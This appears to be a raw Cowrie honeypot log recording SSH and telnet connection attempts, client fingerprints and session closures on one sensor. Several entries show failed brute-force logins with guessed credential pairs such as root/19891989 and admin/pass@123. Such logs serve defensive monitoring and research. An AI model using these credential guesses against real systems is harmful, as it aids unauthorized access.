a2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:47.870732Z","src_ip":"159.203.92.129","session":"610d8bbe8115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass@123","message":"login attempt [admin/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:47.901325Z","src_ip":"159.203.92.129","session":"610d8bbe8115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:48.908535Z","src_ip":"159.203.92.129","session":"610d8bbe8115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":34602,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a16ccfbd120","protocol":"telnet","message":"New connection: 188.166.220.49:34602 (159.203.135.109:23) [session: 0a16ccfbd120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:49.273216Z"}
{"eventid":"cowrie.session.closed","duration":31.377326011657715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:49.647226Z","src_ip":"46.4.8.162","session":"a8405ca49a5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52910,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ef7b7a1d527","protocol":"telnet","message":"New connection: 46.4.8.162:52910 (159.203.135.109:23) [session: 7ef7b7a1d527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:50.201944Z"}
{"eventid":"cowrie.session.closed","duration":32.22069954872131,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:52.159209Z","src_ip":"46.4.8.162","session":"69796d373cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972047805786133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:52.435161Z","src_ip":"46.4.8.162","session":"ab6833e7d912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.652525186538696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:54.813655Z","src_ip":"188.166.220.49","session":"032168313a1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.36620903015137,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:54.870422Z","src_ip":"46.4.8.162","session":"7f8b0b75d966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59623646736145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:55.010946Z","src_ip":"46.4.8.162","session":"b1979e0efbab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":57489,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c220a2b6843","protocol":"ssh","message":"New connection: 223.197.186.7:57489 (159.203.135.109:22) [session: 2c220a2b6843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:56.073668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:56.078660Z","src_ip":"223.197.186.7","session":"2c220a2b6843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:56.301775Z","src_ip":"223.197.186.7","session":"2c220a2b6843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":50938,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad10a916299","protocol":"telnet","message":"New connection: 46.4.8.162:50938 (159.203.135.109:23) [session: 0ad10a916299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:56.696236Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"19891989","message":"login attempt [root/19891989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:57.222282Z","src_ip":"223.197.186.7","session":"2c220a2b6843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":50954,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e80da14bd95","protocol":"telnet","message":"New connection: 46.4.8.162:50954 (159.203.135.109:23) [session: 0e80da14bd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:58.260579Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:58.443460Z","src_ip":"223.197.186.7","session":"2c220a2b6843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.828556537628174,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:59.004408Z","src_ip":"46.4.8.162","session":"2ed347571a07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.25504922866821,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:59.601742Z","src_ip":"188.166.220.49","session":"fbe01a186cbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":50956,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee8a85ecc3ef","protocol":"telnet","message":"New connection: 46.4.8.162:50956 (159.203.135.109:23) [session: ee8a85ecc3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:01.967480Z"}
{"eventid":"cowrie.session.closed","duration":33.87374472618103,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:03.625140Z","src_ip":"46.4.8.162","session":"665b2a3b4f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36600,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6b339a17175","protocol":"telnet","message":"New connection: 46.4.8.162:36600 (159.203.135.109:23) [session: e6b339a17175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:03.899812Z"}
{"eventid":"cowrie.session.closed","duration":32.75832557678223,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:04.102707Z","src_ip":"46.4.8.162","session":"783914df9f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":40678,"dst_ip":"159.203.135.109","dst_port":22,"session":"672112b44ea7","protocol":"ssh","message":"New connection: 103.148.100.146:40678 (159.203.135.109:22) [session: 672112b44ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:04.119211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:04.128949Z","src_ip":"103.148.100.146","session":"672112b44ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:04.399413Z","src_ip":"103.148.100.146","session":"672112b44ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.702818870544434,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:05.368767Z","src_ip":"46.4.8.162","session":"00645cf29636","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd321","message":"login attempt [root/P@ssw0rd321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:05.502357Z","src_ip":"103.148.100.146","session":"672112b44ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36602,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb585b0b6044","protocol":"telnet","message":"New connection: 46.4.8.162:36602 (159.203.135.109:23) [session: fb585b0b6044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:05.600259Z"}
{"eventid":"cowrie.session.closed","duration":34.43270969390869,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:05.976066Z","src_ip":"46.4.8.162","session":"a2c51ef8d485","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119213581085205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:05.990596Z","src_ip":"46.4.8.162","session":"74771825c7f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":60186,"dst_ip":"159.203.135.109","dst_port":23,"session":"52a1035bd5e2","protocol":"telnet","message":"New connection: 188.166.220.49:60186 (159.203.135.109:23) [session: 52a1035bd5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:06.246570Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36616,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b9f87be74c4","protocol":"telnet","message":"New connection: 46.4.8.162:36616 (159.203.135.109:23) [session: 4b9f87be74c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:06.254806Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":40492,"dst_ip":"159.203.135.109","dst_port":22,"session":"643f93b35a2e","protocol":"ssh","message":"New connection: 45.78.208.179:40492 (159.203.135.109:22) [session: 643f93b35a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:06.325992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:06.330612Z","src_ip":"45.78.208.179","session":"643f93b35a2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:06.572217Z","src_ip":"45.78.208.179","session":"643f93b35a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.348511934280396,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:06.591028Z","src_ip":"46.4.8.162","session":"f9074cf1b465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:06.774884Z","src_ip":"103.148.100.146","session":"672112b44ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.552083015441895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:06.974041Z","src_ip":"46.4.8.162","session":"d83efb7d8800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":33638,"dst_ip":"159.203.135.109","dst_port":23,"session":"04ce78c5da35","protocol":"telnet","message":"New connection: 188.166.220.49:33638 (159.203.135.109:23) [session: 04ce78c5da35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:07.276936Z"}
{"eventid":"cowrie.login.failed","username":"alpine","password":"test","message":"login attempt [alpine/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:07.547947Z","src_ip":"45.78.208.179","session":"643f93b35a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:08.786541Z","src_ip":"45.78.208.179","session":"643f93b35a2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37924,"dst_ip":"159.203.135.109","dst_port":23,"session":"903eebe74588","protocol":"telnet","message":"New connection: 188.166.220.49:37924 (159.203.135.109:23) [session: 903eebe74588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:10.230982Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":40030,"dst_ip":"159.203.135.109","dst_port":23,"session":"debbc4be003d","protocol":"telnet","message":"New connection: 188.166.220.49:40030 (159.203.135.109:23) [session: debbc4be003d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:11.508702Z"}
{"eventid":"cowrie.session.closed","duration":32.078402042388916,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:11.830842Z","src_ip":"46.4.8.162","session":"0cc2d5a98207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":40834,"dst_ip":"159.203.135.109","dst_port":23,"session":"980083479df0","protocol":"telnet","message":"New connection: 188.166.220.49:40834 (159.203.135.109:23) [session: 980083479df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:12.085589Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":40284,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dc3f09579ef","protocol":"telnet","message":"New connection: 188.166.220.49:40284 (159.203.135.109:23) [session: 0dc3f09579ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:12.668229Z"}
{"eventid":"cowrie.session.closed","duration":33.22674608230591,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:14.484633Z","src_ip":"46.4.8.162","session":"079d404d4d9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":40600,"dst_ip":"159.203.135.109","dst_port":23,"session":"09e6a9d036ec","protocol":"telnet","message":"New connection: 188.166.220.49:40600 (159.203.135.109:23) [session: 09e6a9d036ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:14.917063Z"}
{"eventid":"cowrie.session.closed","duration":33.21221613883972,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:15.894234Z","src_ip":"46.4.8.162","session":"ab3d5656f49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.331536054611206,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:16.352525Z","src_ip":"46.4.8.162","session":"4f60ca2ff42f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.813267707824707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:18.172354Z","src_ip":"46.4.8.162","session":"479a47e8f006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.153.174.187","src_port":35620,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e63b51b5286","protocol":"telnet","message":"New connection: 160.153.174.187:35620 (10.17.0.5:23) [session: 6e63b51b5286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:19.274405Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57180,"dst_ip":"159.203.135.109","dst_port":23,"session":"36eb375d716d","protocol":"telnet","message":"New connection: 46.4.8.162:57180 (159.203.135.109:23) [session: 36eb375d716d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:19.432300Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57186,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cc73546341a","protocol":"telnet","message":"New connection: 46.4.8.162:57186 (159.203.135.109:23) [session: 0cc73546341a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:19.662089Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57170,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e48a1293905","protocol":"telnet","message":"New connection: 46.4.8.162:57170 (159.203.135.109:23) [session: 9e48a1293905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:20.247643Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57178,"dst_ip":"159.203.135.109","dst_port":23,"session":"eecfbce3e2b8","protocol":"telnet","message":"New connection: 46.4.8.162:57178 (159.203.135.109:23) [session: eecfbce3e2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:20.279256Z"}
{"eventid":"cowrie.session.closed","duration":35.175575256347656,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:21.022694Z","src_ip":"46.4.8.162","session":"82fed1059d73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.190958738327026,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:21.611417Z","src_ip":"188.166.220.49","session":"6205fa7b672b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56054,"dst_ip":"159.203.135.109","dst_port":23,"session":"801729da8039","protocol":"telnet","message":"New connection: 188.166.220.49:56054 (159.203.135.109:23) [session: 801729da8039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:22.462945Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56962,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e9274bed5c9","protocol":"telnet","message":"New connection: 188.166.220.49:56962 (159.203.135.109:23) [session: 0e9274bed5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:23.062279Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":34896,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d8685ff11f1","protocol":"telnet","message":"New connection: 46.4.8.162:34896 (159.203.135.109:23) [session: 7d8685ff11f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:23.088173Z"}
{"eventid":"cowrie.session.closed","duration":35.18161392211914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:24.454702Z","src_ip":"188.166.220.49","session":"0a16ccfbd120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.14415216445923,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:27.345921Z","src_ip":"46.4.8.162","session":"7ef7b7a1d527","protocol":"telnet"}
